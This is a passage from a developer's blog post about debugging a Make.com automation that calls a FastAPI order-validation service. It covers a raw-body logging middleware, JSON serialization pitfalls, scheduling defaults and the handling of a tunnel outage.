And here is the part that costs hours: referencing a path that does not exist is not an error in Make. It renders as empty. Silently. My service received b'' first (the whole body reference resolved to nothing), and after a partial fix, the literal string null. To the validator those looked like genuinely broken requests, so it did its job and reported them as such, which pointed me at the wrong suspect. I went through the service looking for a bug that was not there. The service was fine. The bug was an absence.

The ten lines that ended the guessing

What broke the loop was not reading the scenario harder. It was logging what actually crossed the wire:

from fastapi import FastAPI, Request

app = FastAPI()

@app.middleware("http")
async def log_raw_body(request: Request, call_next):
    body = await request.body()
    print(f"{request.method} {request.url.path} raw={body!r}")
    return await call_next(request)

Behind a tunnel, this is a complete diagnostic rig for a visual tool. Every mapping experiment in the canvas shows up seconds later as the exact bytes it produced. My terminal reads like a fever chart of the session: raw=b'', then raw=b'null', then a perfect payload. Once I could see what Make sent instead of inferring it from downstream symptoms, every remaining bug fell in minutes.

3. Collections do not serialize into text fields

Next, the ops-alert branch. When validation fails, the scenario posts an alert carrying the list of gaps, and I mapped the gaps array straight into the raw JSON body of that request. Make rendered the collection as text, inside the quotes it happened to land in, and produced a body that was no longer JSON. The endpoint said 422, and it was right to.

A collection mapped into a text field does not become JSON. It becomes a string shaped like whatever Make's text rendering of that collection is, which inside a hand-built JSON body is a syntax error.

Two fixes, both in the final blueprints: run each collection through a JSON > Transform to JSON module and embed the result without surrounding quotes ({{12.json}}, not "{{12.json}}"), or keep alert bodies scalar-only (gap_count instead of the gaps array). Look back at the mapper above and you can see both rules at work: webhook scalars quoted, collections embedded bare.

4. The default schedule is a 15-minute tick

The scenario worked. Then it appeared to die. I sent test events and nothing happened. No error, no execution, no log line. Nothing.

Make's default schedule runs a scenario every 15 minutes. A webhook trigger without "Immediately as data arrives" queues events silently until the next tick. To anyone watching, a perfectly healthy integration looks down for up to fourteen minutes at a stretch. One dropdown. Nothing broken. This is the incident titled "the integration stopped working" that resolves itself before anyone finishes triaging it.

What the wire showed when it all worked

Every decision, reason, gap and score above is taken verbatim from the live runs described in this post.

Three routes, executed live through the imported scenario, values as returned:

A clean order came back VALID with 15 checks passed, the shipping method mapped MAPPED_EXACT to SM-STD-01, and the order was created at the 3PL. The happy path nobody writes posts about.
A broken order came back INVALID with the reason 7 gap(s) found, 8 check(s) passed (the same 15 checks, now split), and routed to the ops alert with gap_count 7. The router branched on decision; the reason string went into the alert text unchanged.
An order with the shipping method typed as "parcel" scored 0.60 on fuzzy match, below the 0.85 floor, so the service returned UNMAPPED with one ranked candidate and the reason returning 1 candidate(s) for human review instead of guessing. The scenario put the order on hold for a human.

That last route is the whole argument. A visual flow will route a wrong guess with the same confidence as a right one. The refusal to guess has to come from somewhere with a test suite.

The outage I did not schedule

Mid-session, cloudflared dropped the tunnel for real. Cloudflare error 1033, service unreachable. The Break error handler on the HTTP module (current Make docs call the directive Retry; the blueprint directive is still builtin:Break) parked the execution in Incomplete Executions with its mappings intact. Nothing lost, nothing half-applied, one click away from resolving once the service was reachable again. The exact failure mode this design exists to survive walked in unannounced, and the pattern held. I could not have scripted a better demo, and for once I didn't.

What this does not tell you

The middleware shows what arrives, not what Make intended. A mapping bug that happens to produce valid-shaped JSON with wrong values sails through both the wire log and the schema check. The semantic checks still have to live in the service.

None of this makes Make the villain. The event queue, the retry policy, the incomplete-executions safety net are better than what most hand-rolled webhook consumers ship. That is exactly why the routing belongs there, and the deciding does not.

Hand-writing blueprints is a real trade. The canvas would have filled those eight HTTP parameters for me and I would never have met BundleValidationError. I pay that tax to get scenarios in git with reviewable diffs. If you do not need the diff, click the modules.

And every Transform to JSON module is one more operation on every run, which is the unit Make bills in. Scalar alert bodies are not just simpler. They are cheaper.

The service, both importable blueprints with all eight parameters already in place, and these lessons written down live at github.com/vinimabreu/make-failsafe, mostly so I never rediscover any of this at 2 a.m.

The flow routes, the service decides, and the wire is the only place where both of them tell the truth.